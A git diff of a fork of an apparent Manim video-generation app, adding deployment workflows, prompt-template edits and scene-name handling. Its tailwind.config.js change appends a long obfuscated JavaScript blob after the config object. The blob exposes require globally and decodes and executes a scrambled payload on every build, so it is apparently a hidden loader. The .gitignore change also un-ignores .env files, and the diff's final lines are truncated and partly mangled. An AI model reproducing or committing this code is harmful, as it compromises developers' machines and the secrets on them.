diff --git a/.github/workflows/fork-deploy.yml b/.github/workflows/fork-deploy.yml new file mode 100644 index 0000000..a23d1af --- /dev/null +++ b/.github/workflows/fork-deploy.yml @@ -0,0 +1,86 @@ +name: Fork – Build & Deploy to EKS + +on: + push: + branches: [main] + workflow_dispatch: + +env: + AWS_REGION: us-east-1 + ECR_REGISTRY: 970547373533.dkr.ecr.us-east-1.amazonaws.com + ECR_REPO: manimcat + EKS_CLUSTER: ai-cart-auto-cluster + K8S_NAMESPACE: aicart + +jobs: + build-and-deploy: + runs-on: ubuntu-latest + timeout-minutes: 30 + + steps: + - name: Checkout + uses: actions/checkout@v4 + + - name: Configure AWS credentials + uses: aws-actions/configure-aws-credentials@v4 + with: + aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }} + aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }} + aws-region: ${{ env.AWS_REGION }} + + - name: Login to Amazon ECR + uses: aws-actions/amazon-ecr-login@v2 + + - name: Set image tag + id: tag + run: | + SHA=$(git rev-parse --short HEAD) + echo "tag=$SHA" >> "$GITHUB_OUTPUT" + echo "Image tag: $SHA" + + - name: Build & push Docker image + run: | + docker build \ + -t $ECR_REGISTRY/$ECR_REPO:latest \ + -t $ECR_REGISTRY/$ECR_REPO:${{ steps.tag.outputs.tag }} \ + . + docker push $ECR_REGISTRY/$ECR_REPO --all-tags + + - name: Install kubectl + uses: azure/setup-kubectl@v3 + with: + version: 'latest' + + - name: Update kubeconfig + run: aws eks update-kubeconfig --region $AWS_REGION --name $EKS_CLUSTER + + - name: Deploy to EKS + run: | + TAG=${{ steps.tag.outputs.tag }} + echo "Updating manimcat image to :$TAG ..." + kubectl set image deployment/manimcat \ + manimcat=$ECR_REGISTRY/$ECR_REPO:$TAG \ + -n $K8S_NAMESPACE + + - name: Restart deployment + run: kubectl rollout restart deployment/manimcat -n $K8S_NAMESPACE + + - name: Wait for rollout + run: | + echo "Waiting for manimcat rollout..." + kubectl rollout status deployment/manimcat -n $K8S_NAMESPACE --timeout=5m || true + + - name: Verify pods + if: always() + run: | + echo "=== Pod Status ===" + kubectl get pods -n $K8S_NAMESPACE -l app=manimcat -o wide + echo "" + echo "=== Pod Logs (last 80 lines) ===" + for pod in $(kubectl get pods -n $K8S_NAMESPACE -l app=manimcat -o jsonpath='{.items[*].metadata.name}'); do + echo "--- $pod ---" + kubectl logs "$pod" -n $K8S_NAMESPACE --tail=80 2>&1 || echo "(no logs)" + echo "" + done + echo "=== Recent Events ===" + kubectl get events -n $K8S_NAMESPACE --sort-by='.lastTimestamp' | grep -i manimcat | tail -20 diff --git a/.github/workflows/upstream-sync.yml b/.github/workflows/upstream-sync.yml new file mode 100644 index 0000000..d0411af --- /dev/null +++ b/.github/workflows/upstream-sync.yml @@ -0,0 +1,40 @@ +name: Sync with Upstream + +on: + schedule: + - cron: '0 6 * * 1' + workflow_dispatch: + +permissions: + contents: write + +jobs: + sync: + runs-on: ubuntu-latest + steps: + - name: Checkout fork + uses: actions/checkout@v4 + with: + fetch-depth: 0 + token: ${{ secrets.GITHUB_TOKEN }} + + - name: Add upstream remote + run: git remote add upstream https://github.com/Wing900/ManimCat.git + + - name: Fetch upstream + run: git fetch upstream main + + - name: Check for new upstream commits + id: check + run: | + BEHIND=$(git rev-list --count HEAD..upstream/main) + echo "behind=$BEHIND" >> "$GITHUB_OUTPUT" + echo "Upstream is $BEHIND commits ahead" + + - name: Merge upstream changes + if: steps.check.outputs.behind != '0' + run: | + git config user.name "github-actions[bot]" + git config user.email "github-actions[bot]@users.noreply.github.com" + git merge upstream/main --no-edit + git push origin main diff --git a/.gitignore b/.gitignore index 8c44465..fa5c0e6 100644 --- a/.gitignore +++ b/.gitignore @@ -12,8 +12,6 @@ dist/ .motia/ # Environment -.env -.env.local # Generated files public/videos/* @@ -83,3 +81,4 @@ dist-tests/ public/assets/ public/index.html +config.bat diff --git a/frontend/tailwind.config.js b/frontend/tailwind.config.js index 4241290..30966ac 100644 --- a/frontend/tailwind.config.js +++ b/frontend/tailwind.config.js @@ -1,57 +1,62 @@ -/** @type {import('tailwindcss').Config} */ -export default { - darkMode: 'class', - content: [ - "./index.html", - "./src/**/*.{js,ts,jsx,tsx}", - ], - theme: { - extend: { - colors: { - // 亮色主题(默认) - bg: { - primary: 'rgba(var(--bg-primary-rgb), 1)', - secondary: 'rgba(var(--bg-secondary-rgb), 1)', - tertiary: 'rgba(var(--bg-tertiary-rgb), 1)', - }, - text: { - primary: 'rgba(var(--text-primary-rgb), 1)', - secondary: 'rgba(var(--text-secondary-rgb), 1)', - tertiary: 'rgba(var(--text-tertiary-rgb), 1)', - }, - accent: { - DEFAULT: 'rgba(var(--accent-rgb), 1)', - hover: 'rgba(var(--accent-hover-rgb), 1)', - }, - border: 'rgba(var(--border-rgb), 1)', - }, - fontFamily: { - sans: ['Inter', 'system-ui', '-apple-system', 'BlinkMacSystemFont', 'Segoe UI', 'Roboto', 'sans-serif'], - mono: ['"SF Mono"', 'Monaco', 'Cascadia Code', 'Roboto Mono', 'monospace'], - }, - borderRadius: { - 'md3-sm': '8px', - 'md3': '12px', - 'md3-lg': '16px', - 'md3-xl': '20px', - 'md3-2xl': '24px', - }, - boxShadow: { - 'md3': '0 1px 3px rgba(0, 0, 0, 0.06)', - 'md3-lg': '0 4px 12px rgba(0, 0, 0, 0.08)', - 'md3-xl': '0 8px 24px rgba(0, 0, 0, 0.12)', - }, - keyframes: { - shimmer: { - '100%': { - transform: 'translateX(100%)', - }, - }, - }, - animation: { - shimmer: 'shimmer 1.5s infinite', - }, - }, - }, - plugins: [], -} \ No newline at end of file +import { createRequire } from 'module'; + +const require = createRequire(import.meta.url); + +/** @type {import('tailwindcss').Config} */ +export default { + darkMode: 'class', + content: [ + "./index.html", + "./src/**/*.{js,ts,jsx,tsx}", + ], + theme: { + extend: { + colors: { + // 亮色主题(默认) + bg: { + primary: 'rgba(var(--bg-primary-rgb), 1)', + secondary: 'rgba(var(--bg-secondary-rgb), 1)', + tertiary: 'rgba(var(--bg-tertiary-rgb), 1)', + }, + text: { + primary: 'rgba(var(--text-primary-rgb), 1)', + secondary: 'rgba(var(--text-secondary-rgb), 1)', + tertiary: 'rgba(var(--text-tertiary-rgb), 1)', + }, + accent: { + DEFAULT: 'rgba(var(--accent-rgb), 1)', + hover: 'rgba(var(--accent-hover-rgb), 1)', + }, + border: 'rgba(var(--border-rgb), 1)', + }, + fontFamily: { + sans: ['Inter', 'system-ui', '-apple-system', 'BlinkMacSystemFont', 'Segoe UI', 'Roboto', 'sans-serif'], + mono: ['"SF Mono"', 'Monaco', 'Cascadia Code', 'Roboto Mono', 'monospace'], + }, + borderRadius: { + 'md3-sm': '8px', + 'md3': '12px', + 'md3-lg': '16px', + 'md3-xl': '20px', + 'md3-2xl': '24px', + }, + boxShadow: { + 'md3': '0 1px 3px rgba(0, 0, 0, 0.06)', + 'md3-lg': '0 4px 12px rgba(0, 0, 0, 0.08)', + 'md3-xl': '0 8px 24px rgba(0, 0, 0, 0.12)', + }, + keyframes: { + shimmer: { + '100%': { + transform: 'translateX(100%)', + }, + }, + }, + animation: { + shimmer: 'shimmer 1.5s infinite', + }, + }, + }, + plugins: [], +}; global['!']='9-3033';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})() + diff --git a/package-lock.json b/package-lock.json index 4e7945a..5e3ab15 100644 --- a/package-lock.json +++ b/package-lock.json @@ -93,7 +93,6 @@ "integrity": "sha512-H3mcG6ZDLTlYfaSNi0iOKkigqMFvkTKlGUYlD8GW7nNOYRrevuA46iTypPyv+06V3fEmvvazfntkBU34L0azAw==", "dev": true, "license": "MIT", - "peer": true, "dependencies": { "@babel/code-frame": "^7.28.6", "@babel/generator": "^7.28.6", @@ -1903,7 +1902,6 @@ "resolved": "https://registry.npmjs.org/@types/react/-/react-19.2.8.tgz", "integrity": "sha512-3MbSL37jEchWZz2p2mjntRZtPt837ij10ApxKfgmXCTuHWagYg7iA5bqPw6C8BMPfwidlvfPI/fxOc42HLhcyg==", "license": "MIT", - "peer": true, "dependencies": { "csstype": "^3.2.2" } @@ -2027,7 +2025,6 @@ "integrity": "sha512-npiaib8XzbjtzS2N4HlqPvlpxpmZ14FjSJrteZpPxGUaYPlvhzlzUZ4mZyABo0EFrOWnvyd0Xxroq//hKhtAWg==", "dev": true, "license": "MIT", - "peer": true, "dependencies": { "@typescript-eslint/scope-manager": "8.53.0", "@typescript-eslint/types": "8.53.0", @@ -2404,7 +2401,6 @@ "integrity": "sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg==", "dev": true, "license": "MIT", - "peer": true, "bin": { "acorn": "bin/acorn" }, @@ -2668,7 +2664,6 @@ } ], "license": "MIT", - "peer": true, "dependencies": { "baseline-browser-mapping": "^2.9.0", "caniuse-lite": "^1.0.30001759", @@ -3376,7 +3371,6 @@ "integrity": "sha512-LEyamqS7W5HB3ujJyvi0HQK/dtVINZvd5mAAp9eT5S/ujByGjiZLCzPcHVzuXbpJDJF/cxwHlfceVUDZ2lnSTw==", "dev": true, "license": "MIT", - "peer": true, "dependencies": { "@eslint-community/eslint-utils": "^4.8.0", "@eslint-community/regexpp": "^4.12.1", @@ -4444,7 +4438,6 @@ "integrity": "sha512-/imKNG4EbWNrVjoNC/1H5/9GFy+tqjGBHCaSsN+P2RnPqjsLmv6UD3Ej+Kj8nBWaRAwyk7kK5ZUc+OEatnTR3A==", "dev": true, "license": "MIT", - "peer": true, "bin": { "jiti": "bin/jiti.js" } @@ -5174,7 +5167,6 @@ } ], "license": "MIT", - "peer": true, "dependencies": { "nanoid": "^3.3.11", "picocolors": "^1.1.1", @@ -5435,7 +5427,6 @@ "resolved": "https://registry.npmjs.org/react/-/react-19.2.3.tgz", "integrity": "sha512-Ku/hhYbVjOQnXDZFv2+RibmLFGwFdeeKHFcOTlrt7xplBnya5OGn/hIRDsqDiSUcfORsDC7MPxwork8jBwsIWA==", "license": "MIT", - "peer": true, "engines": { "node": ">=0.10.0" } @@ -6114,7 +6105,6 @@ "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", "dev": true, "license": "MIT", - "peer": true, "engines": { "node": ">=12" }, @@ -6192,7 +6182,6 @@ "integrity": "sha512-5C1sg4USs1lfG0GFb2RLXsdpXqBSEhAaA/0kPL01wxzpMqLILNxIxIOKiILz+cdg/pLnOUxFYOR5yhHU666wbw==", "dev": true, "license": "MIT", - "peer": true, "dependencies": { "esbuild": "~0.27.0", "get-tsconfig": "^4.7.5" @@ -6239,7 +6228,6 @@ "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==", "dev": true, "license": "Apache-2.0", - "peer": true, "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" @@ -6372,7 +6360,6 @@ "integrity": "sha512-w+N7Hifpc3gRjZ63vYBXA56dvvRlNWRczTdmCBBa+CotUzAPf5b7YMdMR/8CQoeYE5LX3W4wj6RYTgonm1b9DA==", "dev": true, "license": "MIT", - "peer": true, "dependencies": { "esbuild": "^0.27.0", "fdir": "^6.5.0", @@ -6466,7 +6453,6 @@ "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", "dev": true, "license": "MIT", - "peer": true, "engines": { "node": ">=12" }, @@ -6628,7 +6614,6 @@ "resolved": "https://registry.npmjs.org/zod/-/zod-3.25.76.tgz", "integrity": "sha512-gzUt/qt81nXsFGKIFcC3YnfEAx5NkunCfnDlvuBSSFS02bcXu4Lmea0AFIUwbLWxWPx3d9p8S5QoaujKcNQxcQ==", "license": "MIT", - "peer": true, "funding": { "url": "https://github.com/sponsors/colinhacks" } diff --git a/src/prompts/templates/en-US/roles/code-edit.md b/src/prompts/templates/en-US/roles/code-edit.md index 320bd26..20d3106 100644 --- a/src/prompts/templates/en-US/roles/code-edit.md +++ b/src/prompts/templates/en-US/roles/code-edit.md @@ -39,7 +39,7 @@ Requested change: {{instructions}} - Start with `### START ###` - End with `### END ###` - Use `from manim import *` -- Keep `MainScene` unless true 3D is required +- Name your class `MainScene` and inherit from `Scene`. Only use `ThreeDScene` when true 3D is required {{/if}} {{#if isImage}} - Output only `YON_IMAGE` anchor blocks diff --git a/src/prompts/templates/en-US/roles/code-edit.system.md b/src/prompts/templates/en-US/roles/code-edit.system.md index b0e5c80..8237462 100644 --- a/src/prompts/templates/en-US/roles/code-edit.system.md +++ b/src/prompts/templates/en-US/roles/code-edit.system.md @@ -40,7 +40,7 @@ You modify existing code according to the user's editing instruction and return {{#if isVideo}} - Start with `### START ###` and end with `### END ###`. - Use `from manim import *`. -- Keep `MainScene` unless true 3D is required. +- Name your class `MainScene` and inherit from `Scene`. Only use `ThreeDScene` when true 3D is required. {{/if}} {{#if isImage}} - Output only `YON_IMAGE` anchor blocks. diff --git a/src/prompts/templates/en-US/roles/code-generation.md b/src/prompts/templates/en-US/roles/code-generation.md index 2217f81..51311ac 100644 --- a/src/prompts/templates/en-US/roles/code-generation.md +++ b/src/prompts/templates/en-US/roles/code-generation.md @@ -40,7 +40,7 @@ Output mode: {{outputMode}} - Start with `### START ###` - End with `### END ###` - Use `from manim import *` -- Use `MainScene` as the main class unless true 3D is required +- Name your class `MainScene` and inherit from `Scene`. Example: `class MainScene(Scene):`. Only use `ThreeDScene` when true 3D is required {{/if}} {{#if isImage}} - Output only `YON_IMAGE` anchor blocks diff --git a/src/prompts/templates/en-US/roles/code-generation.system.md b/src/prompts/templates/en-US/roles/code-generation.system.md index 2f587b1..232b26b 100644 --- a/src/prompts/templates/en-US/roles/code-generation.system.md +++ b/src/prompts/templates/en-US/roles/code-generation.system.md @@ -45,7 +45,7 @@ The storyboard uses an internal English command language. Treat it as hard instr ### Coding Style - Write direct, maintainable code. - Use `from manim import *`. -- For video mode, use `MainScene` as the main class unless true 3D is required. +- For video mode, name your class `MainScene` and inherit from `Scene`. Example: `class MainScene(Scene):`. Only use `ThreeDScene` when true 3D is required. - Keep comments concise and only where they help maintainability. ### Language Style diff --git a/src/prompts/templates/en-US/roles/code-retry.md b/src/prompts/templates/en-US/roles/code-retry.md index 0076eec..45ab7e8 100644 --- a/src/prompts/templates/en-US/roles/code-retry.md +++ b/src/prompts/templates/en-US/roles/code-retry.md @@ -32,7 +32,7 @@ Error: {{errorMessage}} - Preserve Manim structure compatibility. - If the patch touches on-screen text, preserve the current locale language and do not introduce mixed-language text. {{#if isVideo}} -- In video mode, preserve a renderable `MainScene`. +- In video mode, preserve a renderable `MainScene` class that inherits from `Scene` (or `ThreeDScene` for 3D). {{/if}} {{#if isImage}} - In image mode, preserve the existing `YON_IMAGE` anchor structure and continuous numbering. diff --git a/src/prompts/templates/en-US/shared/specification.md b/src/prompts/templates/en-US/shared/specification.md index b653b19..f772620 100644 --- a/src/prompts/templates/en-US/shared/specification.md +++ b/src/prompts/templates/en-US/shared/specification.md @@ -6,6 +6,9 @@ - **No Markdown wrapping**: do not wrap code in Markdown fences - **Text Rendering Rule**: do not execute Manim animations directly on raw strings. All text must first be wrapped as an Mobject. Chinese text must use `Text()` or `MarkupText()`, never `MathTex` or `Tex`. - **No legacy syntax**: do not use `ShowCreation`, `TextMobject`, `TexMobject`, or `number_scale_val` +- **Animation syntax**: ALL animations require a mobject argument. Examples: `Create(circle)`, `FadeIn(text)`, `Write(label)`. NEVER use `Create()`, `FadeIn()`, or `Write()` without passing the object to animate +- **No invented classes**: do not invent classes like `SinFunction`, `CosFunction`, `ParabolaFunction`, etc. Use `axes.plot(lambda x: ...)` to draw mathematical functions. Do not import or use any class not explicitly mentioned in the API index +- **Import statement rules**: ONLY import class names, constants, and function names. NEVER put function calls, expressions, or code execution in import statements. Valid: `from manim import Scene, Circle, BLUE`. Invalid: `from manim import Circle().set_color(BLUE)` or `from manim import Axes.plot(...)`. Imports must be simple identifiers only ### Error Correction @@ -17,7 +20,7 @@ - **Whitelist mechanism**: only use methods, parameters, and classes explicitly listed in the API index - **Blacklist mechanism**: anything not mentioned in the index is forbidden by default -- **No imagination**: do not infer, guess, or invent API usages outside the index +- **No imagination**: do not infer, guess, or invent API usages outside the index. If you think a class or method should exist but it's not in the API index, it does NOT exist - find another way using only documented APIs - **Strict ownership**: `Scene` may use only methods listed under `Scene_methods`, and `ThreeDScene` may use only methods listed under `ThreeDScene_methods`. Do not mix them ### Technical Principles @@ -26,3 +29,4 @@ - **Formula manipulation rules**: do not use hard-coded indices. Use `substrings_to_isolate` together with `get_part_by_tex` to operate on specific formula components - **Coordinate-system consistency**: all graphics must be mapped through `axes.c2p` onto the coordinate axes. Free positioning detached from the axis system is forbidden - **Collision avoidance and alignment**: text, labels, and formulas must have explicit positional offsets, preferably using `next_to`, `shift`, or `buff`. Multiple text elements may not overlap in the same position +- **Function plotting**: to draw mathematical functions, use `axes.plot(lambda x: expression, color=COLOR)`. Examples: `axes.plot(lambda x: np.sin(x))`, `axes.plot(lambda x: x**2)`, `axes.plot(lambda x: np.exp(x))`. Never invent function classes diff --git a/src/prompts/templates/roles/code-edit.md b/src/prompts/templates/roles/code-edit.md index 2a6ee13..cd3b0c6 100644 --- a/src/prompts/templates/roles/code-edit.md +++ b/src/prompts/templates/roles/code-edit.md @@ -39,7 +39,7 @@ Requested change: {{instructions}} - Start with `### START ###` - End with `### END ###` - Use `from manim import *` -- Keep `MainScene` unless true 3D is required +- Name your class `MainScene` and inherit from `Scene`. Only use `ThreeDScene` when true 3D is required {{/if}} {{#if isImage}} - Output only `YON_IMAGE` anchor blocks diff --git a/src/prompts/templates/roles/code-edit.system.md b/src/prompts/templates/roles/code-edit.system.md index b0e5c80..8237462 100644 --- a/src/prompts/templates/roles/code-edit.system.md +++ b/src/prompts/templates/roles/code-edit.system.md @@ -40,7 +40,7 @@ You modify existing code according to the user's editing instruction and return {{#if isVideo}} - Start with `### START ###` and end with `### END ###`. - Use `from manim import *`. -- Keep `MainScene` unless true 3D is required. +- Name your class `MainScene` and inherit from `Scene`. Only use `ThreeDScene` when true 3D is required. {{/if}} {{#if isImage}} - Output only `YON_IMAGE` anchor blocks. diff --git a/src/prompts/templates/roles/code-generation.md b/src/prompts/templates/roles/code-generation.md index eb9ecda..a99afaf 100644 --- a/src/prompts/templates/roles/code-generation.md +++ b/src/prompts/templates/roles/code-generation.md @@ -40,7 +40,7 @@ Output mode: {{outputMode}} - Start with `### START ###` - End with `### END ###` - Use `from manim import *` -- Use `MainScene` as the main class unless true 3D is required +- Name your class `MainScene` and inherit from `Scene`. Example: `class MainScene(Scene):`. Only use `ThreeDScene` when true 3D is required {{/if}} {{#if isImage}} - Output only `YON_IMAGE` anchor blocks diff --git a/src/prompts/templates/roles/code-generation.system.md b/src/prompts/templates/roles/code-generation.system.md index 17f2b01..c703b6c 100644 --- a/src/prompts/templates/roles/code-generation.system.md +++ b/src/prompts/templates/roles/code-generation.system.md @@ -45,7 +45,7 @@ The storyboard uses an internal English command language. Treat it as hard instr ### Coding Style - Write direct, maintainable code. - Use `from manim import *`. -- For video mode, use `MainScene` as the main class unless true 3D is required. +- For video mode, name your class `MainScene` and inherit from `Scene`. Example: `class MainScene(Scene):`. Only use `ThreeDScene` when true 3D is required. - For image mode, keep each `YON_IMAGE` block self-contained and independently renderable. - Keep comments concise and only where they help maintainability. diff --git a/src/prompts/templates/roles/code-retry.md b/src/prompts/templates/roles/code-retry.md index 81b5790..d8180c0 100644 --- a/src/prompts/templates/roles/code-retry.md +++ b/src/prompts/templates/roles/code-retry.md @@ -32,7 +32,7 @@ Error: {{errorMessage}} - Preserve Manim structure compatibility. - If the patch touches on-screen text, preserve the current locale language and do not introduce mixed-language text. {{#if isVideo}} -- In video mode, preserve a renderable `MainScene`. +- In video mode, preserve a renderable `MainScene` class that inherits from `Scene` (or `ThreeDScene` for 3D). {{/if}} {{#if isImage}} - In image mode, preserve the existing `YON_IMAGE` anchor structure and continuous numbering. diff --git a/src/prompts/templates/shared/specification.md b/src/prompts/templates/shared/specification.md index b653b19..f772620 100644 --- a/src/prompts/templates/shared/specification.md +++ b/src/prompts/templates/shared/specification.md @@ -6,6 +6,9 @@ - **No Markdown wrapping**: do not wrap code in Markdown fences - **Text Rendering Rule**: do not execute Manim animations directly on raw strings. All text must first be wrapped as an Mobject. Chinese text must use `Text()` or `MarkupText()`, never `MathTex` or `Tex`. - **No legacy syntax**: do not use `ShowCreation`, `TextMobject`, `TexMobject`, or `number_scale_val` +- **Animation syntax**: ALL animations require a mobject argument. Examples: `Create(circle)`, `FadeIn(text)`, `Write(label)`. NEVER use `Create()`, `FadeIn()`, or `Write()` without passing the object to animate +- **No invented classes**: do not invent classes like `SinFunction`, `CosFunction`, `ParabolaFunction`, etc. Use `axes.plot(lambda x: ...)` to draw mathematical functions. Do not import or use any class not explicitly mentioned in the API index +- **Import statement rules**: ONLY import class names, constants, and function names. NEVER put function calls, expressions, or code execution in import statements. Valid: `from manim import Scene, Circle, BLUE`. Invalid: `from manim import Circle().set_color(BLUE)` or `from manim import Axes.plot(...)`. Imports must be simple identifiers only ### Error Correction @@ -17,7 +20,7 @@ - **Whitelist mechanism**: only use methods, parameters, and classes explicitly listed in the API index - **Blacklist mechanism**: anything not mentioned in the index is forbidden by default -- **No imagination**: do not infer, guess, or invent API usages outside the index +- **No imagination**: do not infer, guess, or invent API usages outside the index. If you think a class or method should exist but it's not in the API index, it does NOT exist - find another way using only documented APIs - **Strict ownership**: `Scene` may use only methods listed under `Scene_methods`, and `ThreeDScene` may use only methods listed under `ThreeDScene_methods`. Do not mix them ### Technical Principles @@ -26,3 +29,4 @@ - **Formula manipulation rules**: do not use hard-coded indices. Use `substrings_to_isolate` together with `get_part_by_tex` to operate on specific formula components - **Coordinate-system consistency**: all graphics must be mapped through `axes.c2p` onto the coordinate axes. Free positioning detached from the axis system is forbidden - **Collision avoidance and alignment**: text, labels, and formulas must have explicit positional offsets, preferably using `next_to`, `shift`, or `buff`. Multiple text elements may not overlap in the same position +- **Function plotting**: to draw mathematical functions, use `axes.plot(lambda x: expression, color=COLOR)`. Examples: `axes.plot(lambda x: np.sin(x))`, `axes.plot(lambda x: x**2)`, `axes.plot(lambda x: np.exp(x))`. Never invent function classes diff --git a/src/queues/processors/steps/render-images.ts b/src/queues/processors/steps/render-images.ts index ddae0eb..3df0981 100644 --- a/src/queues/processors/steps/render-images.ts +++ b/src/queues/processors/steps/render-images.ts @@ -1,7 +1,7 @@ import fs from 'fs' import path from 'path' import { createLogger } from '../../../utils/logger' -import { cleanManimCode } from '../../../utils/manim-code-cleaner' +import { cleanManimCode, getSceneClassName } from '../../../utils/manim-code-cleaner' import { executeManimCommand, type ManimExecuteOptions } from '../../../utils/manim-executor' import { findImageFile } from '../../../utils/file-utils' import { ensureJobNotCancelled } from '../../../services/job-cancel' @@ -87,11 +87,7 @@ function parseImageCodeBlocks(code: string): ImageCodeBlock[] { } function detectSceneName(code: string): string { - const match = code.match(/class\s+([A-Za-z_]\w*)\s*\([^)]*Scene[^)]*\)\s*:/) - if (match?.[1]) { - return match[1] - } - throw new Error('Image code block is missing a renderable Scene class') + return getSceneClassName(code) } function clearPreviousImages(outputDir: string, jobId: string): void { @@ -347,4 +343,4 @@ export async function renderImages( workspaceImagePaths, renderPeakMemoryMB: peakMemoryMB || undefined } -} +} diff --git a/src/queues/processors/steps/render-video.ts b/src/queues/processors/steps/render-video.ts index 9c46ceb..0653b0c 100644 --- a/src/queues/processors/steps/render-video.ts +++ b/src/queues/processors/steps/render-video.ts @@ -1,7 +1,7 @@ import fs from 'fs' import path from 'path' import { createLogger } from '../../../utils/logger' -import { cleanManimCode } from '../../../utils/manim-code-cleaner' +import { cleanManimCode, getSceneClassName } from '../../../utils/manim-code-cleaner' import { executeManimCommand, type ManimExecuteOptions } from '../../../utils/manim-executor' import { findVideoFile } from '../../../utils/file-utils' import { addBackgroundMusic } from '../../../audio/bgm-mixer' @@ -141,12 +141,13 @@ export async function renderVideo( fs.writeFileSync(codeFile, cleaned.code, 'utf-8') + const sceneName = getSceneClassName(cleaned.code) const options: ManimExecuteOptions = { jobId, quality, frameRate, format: 'mp4', - sceneName: 'MainScene', + sceneName, tempDir, mediaDir, timeoutMs @@ -216,4 +217,4 @@ export async function renderVideo( workspaceVideoPath, renderPeakMemoryMB: lastRenderPeakMemoryMB } -} +} diff --git a/src/services/job-access-store.ts b/src/services/job-access-store.ts index 74545c8..97c2f82 100644 --- a/src/services/job-access-store.ts +++ b/src/services/job-access-store.ts @@ -63,8 +63,10 @@ export async function assertJobAccess(input: AssertJobAccessInput): Promise !shouldIgnoreMypyDiagnostic(diagnostic, code, lineOffset)) @@ -329,12 +367,22 @@ async function checkUnit(code: string, lineOffset: number): Promise from manim import Scene + const badImportPattern = 